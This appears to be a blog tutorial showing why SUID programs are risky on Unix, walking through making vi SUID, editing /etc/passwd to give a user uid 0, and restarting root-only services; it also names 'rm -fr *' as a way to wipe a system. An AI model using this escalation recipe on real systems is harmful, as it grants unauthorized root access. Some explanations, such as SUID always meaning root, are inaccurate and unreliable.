Why SUID Programs Are Dangerous

SUID programs in Unix based systems are one of the most dangerous things you can every have one your systems. Today I’m gonna discuss the dangers of SUID programs in Unix based system. For system security, often it’s suggested to keep minimum or no suid programs in the systems. Here is a brief introduction and practicle demo of the dangers of SUID programs. I start from the definition and then explain a bit about these programs and then give an example to make you understand.

What Are SUID Programs

SUID programs are those programs which run with the permissions and privileges of root user at the time of execution. So, when the program is executed, it’s granted the privileges of root user.

SUID Programs Are Always Binary Programs

SUID bit can be set only on binary programs. Shell scripts can not be made SUID in any way, because these are ascii not binary.

How To Make A Program SUID

To make a program an SUID program, you need to change the permissions of this program and add suid bit. This is how you will make program suid. We’ll take the example of vi program.

Dangers of SUID Program Step By Step

I’m going to give you step by step demo of the dangers of suid, which you can replicate on your respective system.

1. First add a user hacker.

wiw_labs:$sudo useradd hacker

wiw_labs:$sudo passwd hacker

Enter new UNIX password:

Retype new UNIX password:

passwd: password updated successfully

2. Switch to this user hacker.

wiw_labs:$su – hacker

Password:

3. See the id of hacker:

   wiw_labs:$id

   uid=1002(hacker) gid=1003(hacker) groups=1003(hacker)

4. Now, try running some commands which normal user can not run:

wiw_labs:$/etc/init.d/apache2 restart

open: Permission denied

* Restarting web server apache2 apache2: Could not reliably determine the server’s fully qualified domain name, using 127.0.0.1 for ServerName

httpd (pid 5953?) not running

apache2: Could not reliably determine the server’s fully qualified domain name, using 127.0.0.1 for ServerName

(13)Permission denied: make_sock: could not bind to address 0.0.0.0:80

no listening sockets available, shutting down

Unable to open logs

open: Permission denied

[fail]

wiw_labs:$

wiw_labs:$/etc/init.d/mysql

mysql mysql-ndb mysql-ndb-mgm

wiw_labs:$/etc/init.d/mysql restart

open: Permission denied

* Stopping MySQL database server mysqld cat: /var/run/mysqld/mysqld.pid: Permission denied

open: Permission denied

[fail]

open: Permission denied

* Starting MySQL database server mysqld cat: /var/run/mysqld/mysqld.pid: Permission denied

5. Let’s know the location of vi command.

wiw_labs:$type vi

vi is hashed (/usr/bin/vi)

6. Let’s see the permissions of vi command.

wiw_labs:$ls -l /usr/bin/vi

-rwxr-xr-x 1 root root 20 2009-04-13 17:20 /usr/bin/vi

From this you come to know that the command is owned by root user.

7. Now, let’s see for some reason your inexperienced administrator changes the permissions of vi command and makes it SUID.

wiw_labs:$sudo chmod +s /usr/bin/vi

[sudo] password for ganesh:

wiw_labs:$ls -l /usr/bin/vi

-rwsr-sr-x 1 root root 20 2009-04-13 17:20 /usr/bin/vi

You can clearly see that the x is replaced by s.

8. vi command is accessible to everyone on the system. So, whosoever is going to run vi command, will become root while the program is running. Now, see what a potential hacker can do with this small negligience.

9. So, do

wiw_labs:$vi /etc/passwd

Now, change the id and gid to 0. This makes the hacker a root user.

10. Now, switch to hacker account again and check id.

wiw_labs:$su – hacker

Password:

wiw_labs:$id

uid=0(root) gid=0(root) groups=0(root)

Now, notice the, hacker has become the root.

11. Now again run the commands for which (s)he was denied the permission to run as normal user.

wiw_labs:$/etc/init.d/apache2 restart

* Restarting web server apache2 apache2: Could not reliably determine the server’s fully qualified domain name, using 127.0.0.1 for ServerName

apache2: Could not reliably determine the server’s fully qualified domain name, using 127.0.0.1 for ServerName

[ OK ]

wiw_labs:$/etc/init.d/mysql restart

* Stopping MySQL database server mysqld [ OK ]

* Starting MySQL database server mysqld [ OK ]

* Checking for corrupt, not cleanly closed and upgrade needing tables.

By now it must be obvious to you, that if the hacker can do this thing, then (s)he can do much more dangers to your system, e.g (s)he runs this command rm -fr * then the whole system can be wiped out.